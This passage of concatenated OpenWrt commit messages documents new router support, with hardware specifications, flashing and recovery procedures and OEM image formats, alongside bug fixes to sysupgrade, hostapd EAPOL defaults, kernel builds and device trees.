otherwise, uboot-env can be used to make uboot load the failsafe image
*DISCLAIMER*
The Failsafe image is unique to Engenius boards.
If the failsafe image is missing or damaged this will not work
DO NOT downgrade to ar71xx this way, it can cause kernel loop or halt
ssh into openwrt and run
`fw_setenv rootfs_checksum 0`
reboot, wait 3 minutes
connect to ethernet and navigate to 192.168.1.1/index.htm
select OEM firmware image from Engenius and click upgrade
TFTP recovery:
rename initramfs to 'vmlinux-art-ramdisk'
make available on TFTP server at 192.168.1.101
power board
hold or press reset button repeatedly
NOTE: for some Engenius boards TFTP is not reliable
try setting MTU to 600 and try many times
Format of OEM firmware image:
The OEM software of EnStationAC is a heavily modified version
of Openwrt Altitude Adjustment 12.09. One of the many modifications
is to the sysupgrade program. Image verification is performed
simply by the successful ungzip and untar of the supplied file
and name check and header verification of the resulting contents.
To form a factory.bin that is accepted by OEM Openwrt build,
the kernel and rootfs must have specific names...
openwrt-ar71xx-enstationac-uImage-lzma.bin
openwrt-ar71xx-enstationac-root.squashfs
and begin with the respective headers (uImage, squashfs).
Then the files must be tarballed and gzipped.
The resulting binary is actually a tar.gz file in disguise.
This can be verified by using binwalk on the OEM firmware images,
ungzipping then untaring.
Newer EnGenius software requires more checks but their script
includes a way to skip them, otherwise the tar must include
a text file with the version and md5sums in a deprecated format.
The OEM upgrade script is at /etc/fwupgrade.sh.
OKLI kernel loader is required because the OEM software
expects the kernel to be no greater than 1536k
and the factory.bin upgrade procedure would otherwise
overwrite part of the kernel when writing rootfs.
Note on PLL-data cells:
The default PLL register values will not work
because of the external AR8033 switch between
the SOC and the ethernet PHY chips.
For QCA955x series, the PLL registers for eth0 and eth1
can be see in the DTSI as 0x28 and 0x48 respectively.
Therefore the PLL registers can be read from uboot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x18050028 1` and `md 0x18050048 1`.
For eth0 at 1000 speed, the value returned was
ae000000 but that didn't work, so following
the logical pattern from the rest of the values,
the guessed value of a3000000 works better.
later discovered that delay can be placed on the PHY end only
with phy-mode as 'rgmii-id' and set register to 0x82...
Tested from master, all link speeds functional
Signed-off-by: Michael Pratt <mcpratt@pm.me>
[fixed SoB to match From:]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
WNDR4700 uboot has an issue with decompressing kernel with default dictionary size (-d23 which is about 8MB).
Limiting lzma dictionary lowers memory footprint and allows device to boot the kernel.
The highest bootable dictonary size is 18, choosing 16 for an extra safety margin.
Kernel size befor and after:
-d23: 2663665 Bytes
-d16: 2892757 Bytes
Kernel size increased by 230kB (9%)
Fixes: FS#3258
Signed-off-by: Wiktor Stasiak <wiktor.stasiak@gmail.com>
Specifications:
- SoC: MediaTek MT7621AT
- RAM: 128 MB (DDR3)
- Flash: 16 MB (SPI NOR)
- WiFi: MediaTek MT7615N (x2)
- Switch: 1 WAN, 4 LAN (Gigabit)
- Ports: 1 USB 2.0, 1 USB 3.0
- Buttons: Reset, WiFi Toggle, WPS
- LEDs: Power, Internet, WiFi 2.4G WiFi 5G, USB 2.0, USB 3.0
The R1 revision is identical to the A1 revision except
- No Config2 Parition, therefore
- factory partition resized to 64k from 128K
- Firmware partition offset is 0x50000 not 0x60000
- Firmware partitions size increased by 64K
- Firmware partition type is "denx,uimage", not "sge,uimage"
- Padding of image creation "uimage-padhdr 96" removed
Installation:
- Older firmware versions: put the factory image on a USB stick, turn on
the telnet console, and flash using the following cmd
"fw_updater Linux /mnt/usb_X_X/firmware.bin"
- D-Link FailsafeUI:
Power down the router, press and hold the reset button, then
re-plug it. Keep the reset button pressed until the internet LED stops
flashing, then jack into any lan port and manually assign a static IP
address in 192.168.0.0/24 other than 192.168.0.0 (e.g. 192.168.0.2)
and go to http://192.168.0.1
Flash with the factory image.
Signed-off-by: Andrew Pikler <andrew.pikler@gmail.com>
Some Russian d-link routers require that their firmware be signed with a
salted md5 checksum followed by the bytes 0x00 0xc0 0xff 0xee. This tool
signs factory images the OEM's firmware accepts them.
Signed-off-by: Andrew Pikler <andrew.pikler@gmail.com>
Specifications:
* QCA9557, 16 MiB Flash, 128 MiB RAM, 802.11n 2T2R
* QCA9882, 802.11ac 2T2R
* Gigabit LAN Port (AR8035), 802.11af PoE
Installation:
* Factory Web UI is at 192.168.0.50
login with 'admin' and blank password, flash factory.bin
* Recovery Web UI is at 192.168.0.50
connect network cable, hold reset button during power-on and keep it
pressed until uploading has started (only required when checksum is ok,
e.g. for reverting back to oem firmware), flash factory.bin
After flashing factory.bin, additional free space can be reclaimed by
flashing sysupgrade.bin, since the factory image requires some padding
to be accepted for upgrading via OEM Web UI.
Signed-off-by: Sebastian Schaper <openwrt@sebastianschaper.net>
The Ubiquiti Network airCube AC is a cube shaped device supporting
2.4 GHz and 5 GHz with internal 2x2 MIMO antennas.
It can be powered with either one of:
- 24v power supply with 3.0mm x 1.0mm barrel plug
- 24v passive PoE on first LAN port
There are four 10/100/1000 Mbps ports (1 * WAN + 3 * LAN).
First LAN port have optional PoE passthrough to the WAN port.
SoC: Qualcomm / Atheros AR9342
RAM: 64 MB DDR2
Flash: 16 MB SPI NOR
Ethernet: 4x 10/100/1000 Mbps (1 WAN + 3 LAN)
LEDS: 1x via a SPI controller (not yet supported)
Buttons: 1x Reset
Serial: 1x (only RX and TX); 115200 baud, 8N1
Missing features:
- LED control is not supported
Physical to internal switch port mapping:
- physical port #1 (poe in) = switchport 2
- physical port #2 = switchport 3
- physical port #3 = switchport 5
- physical port #4 (wan/poe out) = switchport 4
Factory update is tested and is the same as for Ubiquiti AirCube ISP
hence the shared configuration between that devices.
Signed-off-by: Roman Kuzmitskii <damex.pp@icloud.com>
This patch adds support for the MikroTik RouterBOARD wAPR-2nD (wAP R)
router, a weatherproof 2.4 GHz access point with a miniPCI-e slot and
a SIM card slot.
Specifications:
- SoC: Qualcomm Atheros QCA9533
- Flash: 16 MB (SPI)
- RAM: 64 MB
- Ethernet: 1x 10/100 Mbps (PoE in)
- WiFi: AR9531 2T2R 2.4 GHz (SoC)
- miniPCI-e slot
- 4x green LEDs (1x WiFi, 3x RSSI)
- 1x reset button
See https://mikrotik.com/product/RBwAPR-2nD for more details.
Flashing:
TFTP boot initramfs image and then perform sysupgrade. Follow common
MikroTik procedure as in https://openwrt.org/toh/mikrotik/common.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Device specifications:
* QCA IPQ4019
* 256 MB of RAM
* 32 MB of SPI NOR flash (w25q256)
- 2x 15 MB available; but one of the 15 MB regions is the recovery image
* 2T2R 2.4 GHz
- QCA4019 hw1.0 (SoC)
- requires special BDF in QCA4019/hw1.0/board-2.bin with
bus=ahb,bmi-chip-id=0,bmi-board-id=20,variant=PlasmaCloud-PA2200
* 2T2R 5 GHz (channel 36-64)
- QCA9888 hw2.0 (PCI)
- requires special BDF in QCA9888/hw2.0/board-2.bin
bus=pci,bmi-chip-id=0,bmi-board-id=16,variant=PlasmaCloud-PA2200
* 2T2R 5 GHz (channel 100-165)
- QCA4019 hw1.0 (SoC)
- requires special BDF in QCA4019/hw1.0/board-2.bin with
bus=ahb,bmi-chip-id=0,bmi-board-id=21,variant=PlasmaCloud-PA2200
* GPIO-LEDs for 2.4GHz, 5GHz-SoC and 5GHz-PCIE
* GPIO-LEDs for power (orange) and status (blue)
* 1x GPIO-button (reset)
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 2x gigabit ethernet
- phy@mdio3:
+ Label: Ethernet 1
+ gmac0 (ethaddr) in original firmware
+ used as LAN interface
- phy@mdio4:
+ Label: Ethernet 2
+ gmac1 (eth1addr) in original firmware
+ 802.3at POE+
+ used as WAN interface
* 12V 2A DC
Flashing instructions:
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the factory image to the u-boot when the device boots up.
Signed-off-by: Marek Lindner <marek.lindner@kaiwoo.ai>
[sven@narfation.org: prepare commit message, rebase, use all LEDs, switch
to dualboot_datachk upgrade script, use eth1 as designated WAN interface]
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Device specifications:
* QCA IPQ4018
* 256 MB of RAM
* 32 MB of SPI NOR flash (w25q256)
- 2x 15 MB available; but one of the 15 MB regions is the recovery image
* 2T2R 2.4 GHz
- QCA4019 hw1.0 (SoC)
- requires special BDF in QCA4019/hw1.0/board-2.bin with
bus=ahb,bmi-chip-id=0,bmi-board-id=16,variant=PlasmaCloud-PA1200
* 2T2R 5 GHz
- QCA4019 hw1.0 (SoC)
- requires special BDF in QCA4019/hw1.0/board-2.bin with
bus=ahb,bmi-chip-id=0,bmi-board-id=17,variant=PlasmaCloud-PA1200
* 3x GPIO-LEDs for status (cyan, purple, yellow)
* 1x GPIO-button (reset)
* 1x USB (xHCI)
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 2x gigabit ethernet
- phy@mdio4:
+ Label: Ethernet 1
+ gmac0 (ethaddr) in original firmware
+ used as LAN interface
- phy@mdio3:
+ Label: Ethernet 2
+ gmac1 (eth1addr) in original firmware
+ 802.3af/at POE(+)
+ used as WAN interface
* 12V/24V 1A DC
Flashing instructions:
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the factory image to the u-boot when the device boots up.
Signed-off-by: Marek Lindner <marek.lindner@kaiwoo.ai>
[sven@narfation.org: prepare commit message, rebase, use all LEDs, switch
to dualboot_datachk upgrade script, use eth1 as designated WAN interface]
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Other vendors are using functionality similar to the ones OpenMesh used to
implement two areas on the flash to store the default image and a fallback
image. So just change the name to dualboot_datachk.sh to avoid duplicated
code just to have the same script for different vendors.
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Device specifications:
* Qualcomm/Atheros QCA9533 v2
* 650/600/217 MHz (CPU/DDR/AHB)
* 64 MB of RAM
* 16 MB of SPI NOR flash (mx25l12805d)
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 2x 10/100 Mbps Ethernet
* 2T2R 2.4 GHz Wi-Fi
* multi-color LED (controlled via red/green/blue GPIOs)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default)
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 2x fast ethernet
- eth0
+ Label: Ethernet 1
+ 24V passive POE (mode B)
+ used as WAN interface
- eth1
+ Label: Ethernet 2
+ 802.3af POE
+ builtin switch port 2
+ used as LAN interface
* 12-24V 1A DC
* external antennas
Flashing instructions:
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the factory image to the u-boot when the device boots up.
Signed-off-by: Sven Eckelmann <sven@narfation.org>
Device specifications:
* Qualcomm/Atheros QCA9533 v2
* 650/600/217 MHz (CPU/DDR/AHB)
* 64 MB of RAM
* 16 MB of SPI NOR flash (mx25l12805d)
- 2x 7 MB available; but one of the 7 MB regions is the recovery image
* 2x 10/100 Mbps Ethernet
* 2T2R 2.4 GHz Wi-Fi
* multi-color LED (controlled via red/green/blue GPIOs)
* 1x GPIO-button (reset)
* external h/w watchdog (enabled by default)
* TTL pins are on board (arrow points to VCC, then follows: GND, TX, RX)
* 2x fast ethernet
- eth0
+ Label: Ethernet 1
+ 24V passive POE (mode B)
+ used as WAN interface
- eth1
+ Label: Ethernet 2
+ 802.3af POE
+ builtin switch port 2
+ used as LAN interface
* 12-24V 1A DC
* internal antennas
Flashing instructions:
The tool ap51-flash (https://github.com/ap51-flash/ap51-flash) should be
used to transfer the factory image to the u-boot when the device boots up.
Signed-off-by: Sven Eckelmann <sven@narfation.org>
The MIPS code is supposed to fall back to u-boots bootargs whenever the
/chosen/bootargs property is missing. But this feature was accidentally
disabled when the boot_command_line was initialized with an empty space
just to work around problems with early_init_dt_scan_chosen.
But this feature is necessary for some boards which have a dualboot
mechanism and whose u-boot is calculating the correct partition at runtime
without writing this information back to the u-boot-env.
Signed-off-by: Sven Eckelmann <sven@narfation.org>
The NOR flash rootfs images stored in a sysupgrade.tar must end with the
JFFS2 marker. Otherwise, devices like OpenMesh A42/A62 are not able to
calculate the md5sum of the fixed squashfs part and store it inside the
u-boot-env.
But the commit ee76bd11bb ("images: fix boot failures on NAND with small
sub pages") adds up to 1020 0x00 bytes after the 0xdead0de EOF marker. The
calculated md5sum will be wrong due do this change and u-boot will fail to
boot the newly flashed device with a message like:
Validating MD5Sum of 'vmlinux'...
Passed!
Validating MD5Sum of 'rootfs'...
Failed!
583a1b7b54b8601efa64ade42742459b != 8850ee812dfd7638e94083329d5d2781
Data validation failed!
and boot the old image again.
Since the original change should not change the behavior of NOR images,
just check for the deadc0de marker at the end of the squashfs-jffs2 image
do avoid the problematic behavior for these images.
Fixes: ee76bd11bb ("images: fix boot failures on NAND with small sub pages")
Signed-off-by: Sven Eckelmann <sven@narfation.org>
FCC ID: A8J-ECB350
Engenius ECB350 v1 is an indoor wireless access point with a gigabit ethernet port,
2.4 GHz wireless, external antennas, and PoE.
**Specification:**
- AR7242 SOC
- AR9283 WLAN 2.4 GHz (2x2), PCIe on-board
- AR8035-A switch RGMII, GbE with 802.3af PoE
- 40 MHz reference clock
- 8 MB FLASH 25L6406EM2I-12G
- 32 MB RAM
- UART at J2 (populated)
- 2 external antennas
- 3 LEDs, 1 button (power, lan, wlan) (reset)
**MAC addresses:**
MACs are labeled as WLAN and WAN
vendor MAC addresses in flash are duplicate
phy0 WLAN *:b8 ---
eth0 WAN *:b9 art 0x0/0x6
**Installation:**
- if you get Failsafe Mode from failed flash:
only use it to flash Original firmware from Engenius
or risk kernel loop or halt which requires serial cable
Method 1: Firmware upgrade page:
OEM webpage at 192.168.1.1
username and password "admin"
Navigate to "Firmware" page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm and wait 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt uboot with any key pressed rapidly
execute `run failsafe_boot` OR `bootm 0x9f670000`
wait a minute
connect to ethernet and navigate to
"192.168.1.1/index.htm"
Select the factory.bin image and upload
wait about 3 minutes
**Return to OEM:**
If you have a serial cable, see Serial Failsafe instructions
otherwise, uboot-env can be used to make uboot load the failsafe image
*DISCLAIMER*
The Failsafe image is unique to Engenius boards.
If the failsafe image is missing or damaged this will not work
DO NOT downgrade to ar71xx this way, it can cause kernel loop or halt
ssh into openwrt and run
`fw_setenv rootfs_checksum 0`
reboot, wait 3 minutes
connect to ethernet and navigate to 192.168.1.1/index.htm
select OEM firmware image from Engenius and click upgrade
**TFTP recovery** (unstable / not reliable):
rename initramfs to 'vmlinux-art-ramdisk'
make available on TFTP server at 192.168.1.101
power board while holding or pressing reset button repeatedly
NOTE: for some Engenius boards TFTP is not reliable
try setting MTU to 600 and try many times
**Format of OEM firmware image:**
The OEM software of ECB350 v1 is a heavily modified version
of Openwrt Kamikaze. One of the many modifications
is to the sysupgrade program. Image verification is performed
by the successful ungzip and untar of the supplied file
and name check and header verification of the resulting contents.
To form a factory.bin that is accepted by OEM Openwrt build,
the kernel and rootfs must have specific names
and begin with the respective headers (uImage, squashfs).
Then the files must be tarballed and gzipped.
The resulting binary is actually a tar.gz file in disguise.
This can be verified by using binwalk on the OEM firmware images,
ungzipping then untaring.
The OEM upgrade script is at /etc/fwupgrade.sh.
OKLI kernel loader is required because the OEM software
expects the kernel size to be no greater than 1536k
and otherwise the factory.bin upgrade procedure would
overwrite part of the kernel when writing rootfs.
The factory upgrade script follows the original mtd partitions.
**Note on PLL-data cells:**
The default PLL register values will not work
because of the AR8035 switch between
the SOC and the ethernet port.
For AR724x series, the PLL register for GMAC0
can be seen in the DTSI as 0x2c.
Therefore the PLL register can be read from u-boot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x1805002c 1`
However the registers that u-boot sets are not ideal and sometimes wrong...
the at803x driver supports setting the RGMII clock/data delay on the PHY side.
This way the pll-data register only needs to handle invert and phase.
for this board no extra adjustements are needed on the MAC side
all link speeds functional
Signed-off-by: Michael Pratt <mcpratt@pm.me>
Add support for the ar71xx supported GL.iNet GL-USB150 to ath79.
GL.iNet GL-USB150 is an USB dongle WiFi router, based on Atheros AR9331.
Specification:
- 400/400/200 MHz (CPU/DDR/AHB)
- 64 MB of RAM (DDR2)
- 16 MB of FLASH (SPI NOR)
- Realtek RTL8152B USB to Ethernet bridge (connected with AR9331 PHY4)
- 1T1R 2.4 GHz
- 2x LED, 1x button
- UART header on PCB
Flash instruction:
Vendor software is based on openwrt so you can flash the sysupgrade
image via the vendor GUI or using command line sysupgrade utility.
Make sure to not save configuration over reflash as uci settings
differ between versions.
Signed-off-by: Chen Minqiang <ptpt52@gmail.com>
factory.bin was not tested for ECB1750...
but it was tested on it's sister board ECB1200
The product ID for the header can be verified by inspecting
the header of OEM images, or in the u-boot environment.
Also:
- the LAN LED is controlled directly by the AR8035 switch
- the labelled (first increment) MAC for both is ethaddr (eth0)
- list packages in alphabetical order
- use default sysupgrade.bin recipe
Signed-off-by: Michael Pratt <mcpratt@pm.me>
These boards are sister boards
exactly the same hardware except that ECB1200 has:
- QCA9557
- 2 RF circuits/antennas per band instead of 3
- a resistor blocking UART RX line
Tested-by: sven friedmann <sf.openwrt@okay.ms>
Signed-off-by: Michael Pratt <mcpratt@pm.me>
FCC ID: A8J-ECB1200
Engenius ECB1200 is an indoor wireless access point with a GbE port,
2.4 GHz and 5 GHz wireless, external antennas, and 802.3af PoE.
**Specification:**
- QCA9557 SOC MIPS, 2.4 GHz (2x2)
- QCA9882 WLAN PCIe card, 5 GHz (2x2)
- AR8035-A switch RGMII, GbE with 802.3af PoE, 25 MHz clock
- 40 MHz reference clock
- 16 MB FLASH 25L12845EMI-10G
- 2x 64 MB RAM 1538ZFZ V59C1512164QEJ25
- UART at JP1 (unpopulated, RX shorted to ground)
- 4 external antennas
- 4 LEDs, 1 button (power, eth, wifi2g, wifi5g) (reset)
**MAC addresses:**
MAC Addresses are labeled as ETH and 5GHZ
U-boot environment has the vendor MAC addresses
MAC addresses in ART do not match vendor
eth0 ETH *:5c u-boot-env ethaddr
phy0 5GHZ *:5d u-boot-env athaddr
---- ---- ???? art 0x0/0x6
**Installation:**
Method 1: Firmware upgrade page:
OEM webpage at 192.168.1.1
username and password "admin"
Navigate to "Firmware" page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm and wait 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt uboot with any key pressed rapidly
(see TFTP recovery)
perform a sysupgrade
**Serial Access:**
the RX line on the board for UART is shorted to ground by resistor R176
therefore it must be removed to use the console
but it is not necessary to remove to view boot log
optionally, R175 can be replaced with a solder bridge short
the resistors R175 and R176 are next to the UART pinout at JP1
**Return to OEM:**
If you have a serial cable, see Serial Failsafe instructions
Unlike most Engenius boards, this does not have a 'failsafe' image
the only way to return to OEM is TFTP or serial access to u-boot
**TFTP recovery:**
Unlike most Engenius boards, TFTP is reliable here
rename initramfs-kernel.bin to 'ap.bin'
make the file available on a TFTP server at 192.168.1.10
power board while holding or pressing reset button repeatedly
or with serial access:
run `tftpboot` or `run factory_boot` with initramfs-kernel.bin
then `bootm` with the load address
**Format of OEM firmware image:**
The OEM software of ECB1200 is a heavily modified version
of Openwrt Altitude Adjustment 12.09.
This Engenius board, like ECB1750, uses a proprietary header
with a unique Product ID. The header for factory.bin is
generated by the mksenaofw program included in openwrt.
**Note on PLL-data cells:**
The default PLL register values will not work
because of the AR8035 switch between
the SOC and the ethernet port.
For QCA955x series, the PLL registers for eth0 and eth1
can be see in the DTSI as 0x28 and 0x48 respectively.
Therefore the PLL registers can be read from uboot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x18050028 1` and `md 0x18050048 1`.
However the registers that u-boot sets are not ideal and sometimes wrong...
the at803x driver supports setting the RGMII clock/data delay on the PHY side.
This way the pll-data register only needs to handle invert and phase.
for this board clock invert is needed on the MAC side
all link speeds functional
Signed-off-by: Michael Pratt <mcpratt@pm.me>
The rootfs is padded to the full block size by padjffs2 and a 4 byte magic
value ("deadc0de") is added to the end. On first boot, the JFFS2 is
replacing the "deadc0de" marker when the rootfs_data is initialized.
The static part of the rootfs is therefore $rootfs_size - 4 and not
$rootfs_size - 262144 - 4.
Signed-off-by: Sven Eckelmann <sven@narfation.org>
The padding and block alignment is handled by the image build script and
doesn't need to be duplicated in the fwupgrade.cfg build script.
Signed-off-by: Sven Eckelmann <sven@narfation.org>
FCC ID: A8J-ESR750H
Engenius ESR600H is an indoor wireless router with a gigabit switch,
2.4 GHz and 5 GHz wireless, internal and external antennas, and a USB port.
**Specification:**
- RT3662F MIPS SOC, 5 GHz WMAC (2x2)
- RT5392L PCI on-board, 2.4 GHz (2x2)
- AR8327 RGMII, 7-port GbE, 25 MHz clock
- 40 MHz reference clock
- 8 MB FLASH 25L6406EM2I-12G
- 64 MB RAM
- UART at J12 (unpopulated)
- 2 internal antennas (5 GHz)
- 2 external antennas (2.4 GHz)
- 9 LEDs, 1 button (power, wps, wifi2g, wifi5g, 5 LAN/WAN)
- USB 2 port (GPIO controlled power)
**MAC addresses:**
MAC Addresses are labeled as WAN and WLAN
U-boot environment has the the vendor MAC address for ethernet
MAC addresses in "factory" are part of wifi calibration data
eth0.2 WAN *:13:e7 u-boot-env wanaddr
eth0.1 ---- *:13:e8 u-boot-env wanaddr + 1
phy0 WLAN *:14:b8 factory 0x8004
phy1 ---- *:14:bc factory 0x4
**Installation:**
Method 1: Firmware upgrade page
OEM webpage at 192.168.0.1
username and password "admin"
Navigate to Network Setting --> Tools --> Firmware
Click Browse and select the factory.dlf image
Click Continue to confirm and wait 6 minutes or more...
Method 2: Serial console to load TFTP image:
(see TFTP recovery)
**Return to OEM:**
Unlike most Engenius boards, this does not have a 'failsafe' image
the only way to return to OEM is serial access to uboot
Unlike most Engenius boards, public images are not available...
so the only way to return to OEM is to have a copy
of the MTD partition "firmware" BEFORE flashing openwrt.
**TFTP recovery:**
Unlike most Engenius boards, TFTP is reliable here
however it requires serial console access
(soldering pins to the UART pinouts)
build your own image...
with 'ramdisk' selected under 'Target Images'
rename initramfs-kernel.bin to 'uImageESR-600H'
make the file available on a TFTP server at 192.168.99.8
interrupt boot by holding or pressing '4' in serial console
as soon as board is powered on
`tftpboot 0x81000000`
`bootm 0x81000000`
perform a sysupgrade
**Format of OEM firmware image:**
This Engenius board uses the Senao proprietary header
with a unique Product ID. The header for factory.bin is
generated by the mksenaofw program included in openwrt.
.dlf file extension is also required for OEM software to accept it
**Note on using OKLI:**
the kernel is now too large for the bootloader to handle
so OKLI is used via the `kernel-loader` image command
recently in master several other ramips boards have the same problem
'Kernel panic - not syncing: Failed to find ralink,rt3883-sysc node'
see commit ad19751edc
Signed-off-by: Michael Pratt <mcpratt@pm.me>
After musl was introduced, it was desired to remove uClibc-ng. As ARC
has no musl support, it was kept around. However, glibc 2.32 includes
ARC support. This makes it possible to finally remove it.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
If _machine_hang is not defined on MIPS, the kernel will check if the
CPU can enter a more power efficient sleep mode. Since the realtek
platform supports mips32_r2, this should issue a WAIT instruction
instead of a trivial infinite loop.
Signed-off-by: Sander Vanheule <sander@svanheule.net>
Currently, EAPOLv2 (802.1X-2004) is used by default for legacy clients that
are not WPA2 (RSN) capable. These legacy clients are often intolerant to this
EAPOL version and fail to connect.
hostapd.conf upstream documents for eapol_version the following and that this
is a known compatibility issue with version 2:
// IEEE 802.1X/EAPOL version
// hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL
// version 2. However, there are many client implementations that do not handle
// the new version number correctly (they seem to drop the frames completely).
// In order to make hostapd interoperate with these clients, the version number
// can be set to the older version (1) with this configuration value.
// Note: When using MACsec, eapol_version shall be set to 3, which is
// defined in IEEE Std 802.1X-2010.
//eapol_version=2
For the wpa parameter, hostapd.conf upstream documents that this is a bitfield,
configured as follows:
// Enable WPA. Setting this variable configures the AP to require WPA (either
// WPA-PSK or WPA-RADIUS/EAP based on other configuration). For WPA-PSK, either
// wpa_psk or wpa_passphrase must be set and wpa_key_mgmt must include WPA-PSK.
// Instead of wpa_psk / wpa_passphrase, wpa_psk_radius might suffice.
// For WPA-RADIUS/EAP, ieee8021x must be set (but without dynamic WEP keys),
// RADIUS authentication server must be configured, and WPA-EAP must be included
// in wpa_key_mgmt.
// This field is a bit field that can be used to enable WPA (IEEE 802.11i/D3.0)
// and/or WPA2 (full IEEE 802.11i/RSN):
// bit0 = WPA
// bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled)
// Note that WPA3 is also configured with bit1 since it uses RSN just like WPA2.
// In other words, for WPA3, wpa=2 is used the configuration (and
// wpa_key_mgmt=SAE for WPA3-Personal instead of wpa_key_mgmt=WPA-PSK).
//wpa=2
For client compatibility therefore:
EAPOLv1 (802.1X-2001) should be used by default where WPA is enabled.
EAPOLv2 (802.1X-2004) should be used by default where WPA is disabled.
To fix this, we can therefore change in the script:
set_default eapol_version 0
To the following:
set_default eapol_version $((wpa & 1))
This therefore:
1) Sets eapol_version to 1 where WPA has been enabled via wpa bit0 being set.
2) Sets eapol_version to 0 where WPA has been disabled via wpa bit0 being unset.
For usual configurations that only have WPA2 enabled, EAPOLv2 is then used.
Signed-off-by: Nick Lowe <nick.lowe@gmail.com>
Most of Build/elecom-wrc-factory and Build/elecom-wrc-gs-factory are
nearly equal, Unify those definitions by using "-N" option of mkhash and
splitting the appending text at the end of firmware image for WRC-GS/GST
devices.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Incorrect values were used for the switch initialization causing the
lan port leds to not light up in case of 10Mb or 100Mb connections.
This commit fixes this problem and removes unused values.
Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
All modifications made by update_kernel.sh run in a fresh clone
without any existing toolchains.
Build system: x86_64
Build-tested: ipq806x/R7800, ath79/generic, bcm27xx/bcm2711
Run-tested: ipq806x/R7800
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
Testing with hwsim reveals two problems:
1. phyX/addresses has two addresses and mac80211_get_addr keeps
returning the last one when asked for more;
2. The base address has the local bit set and the operation unsets it.
Fix both.
Fixes: 866790fd82
Reported-by: Zero_Chaos
Signed-off-by: Paul Fertser <fercerpav@gmail.com>
Backport the upstream kernel fix 525b0858ff to get rid of the kernel
messages:
mvebu-gpio xxxxxx.gpio: IRQ index 3 not found
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
The WAN port on Netgear D7800 is unable to connect to an ISP when the
link to the modem is running at less than 1GB.
This patch fixes the issue by removing the phy-handle definition
and replacing it with a fixed-link definition
The WAN port is then able to connect to a modem via a link running at 100Mbs or 10Mbs
Fixes: FS#3086
Signed-off-by: Peter Cardoe <peter@cardoe.co.uk>
The Buffalo Linkstation LS421DE comes with a Ricoh RS5C372A real time
clock. This RTC has the INTRA pin connected to the power management
circuit, allowing to wake up the device from the power off state when an
alarm is scheduled.
Add the "wakeup-source" property in the RTC dts node to allow the use
of the alarm.
Example of use, the device is powered off and it comes to life after 5
minutes:
echo $(expr $(date '+%s') + 60 * 5) > /sys/class/rtc/rtc0/wakealarm
poweroff
This feature isn't available in the stock firmware.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
The rs5c372 RTC driver has alarm support, but it can't be enabled and only
can handle 24 hours in the future spite the chip is 1 week capable. Provide
these two patches:
- Support alarms up to 1 week
- Let the wakealarm to be used as a wakeup source
This patch makes the alarm wakeup feature to be available in the Buffallo
Linkstation LS421DE (mvebu target) and should also work with any other
device if the hardware has the proper capability.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
Flush kernel memory caches during sysupgrade in order
to mitigate the impact from memory consumption spikes
in low-RAM devices.
This may help to prevent sysupgrade causing a reboot
before the actual flashing starts.
Signed-off-by: Hannu Nyman <hannu.nyman@iki.fi>
The Buffalo Linkstation LS421DE isn't able to enable the Level 2 cache
(AKA Aurora cache). As of result of this, the throughput is about half of
the expected, e.g when doing network data transfers.
Fix it by adding the broken-idle property in the coherency fabric node.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
'bootz' expects gziped kernel image anyway, so hard-code it to zImage,
and remove root path from 'load' commands, by default the files are
searched in root directory.
This will make the bootscript static, so the command which modified it
when image was created can now be removed.
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
Don't hard-code the PTUUID, use U-Boot commands to determine it, as some
partitioning tools could rewrite PTUUID when modifying partitions.
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
This fixes error when host GCC >= 10.
/usr/bin/ld: scripts/dtc/dtc-parser.tab.o:(.bss+0x10): multiple definition of `yylloc'; scripts/dtc/dtc-lexer.lex.o:(.bss+0x0): first defined here
collect2: error: ld returned 1 exit status
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
This chunk got mistakenly removed from 30c95c4, since the get_image_dd
evaluates only first agument, so that check is useless.
Fixes: 30c95c4 ("tegra: sysupgrade: use get_image_dd wrapper")
Signed-off-by: Tomasz Maciej Nowak <tmn505@gmail.com>
The patch removes a libpcap check to avoid a problem with libpcap. Fix
libpcap instead.
Modernize Makefile:
Use a normal autoconf bool instead of checking for CONFIG_IPV6.
Remove old configure and MAKE_FLAGS hacks. Removing them results in
compilation continuing to work without a problem.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
pcap-config as installed is using OS paths instead of OpenWrt ones.
Take fix from libpng and adjust as needed.
This problem seems to occur on Arch Linux and not on Debian/Fedora
based distros. No idea why.
Remove CMAKE_INSTALL as there is now an InstallDev section.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
CIFS_STATS is a debugging option. It is not really useful for end users
Signed-off-by: Rosen Penev <rosenp@gmail.com>
[fixed missing config-4.19 file]
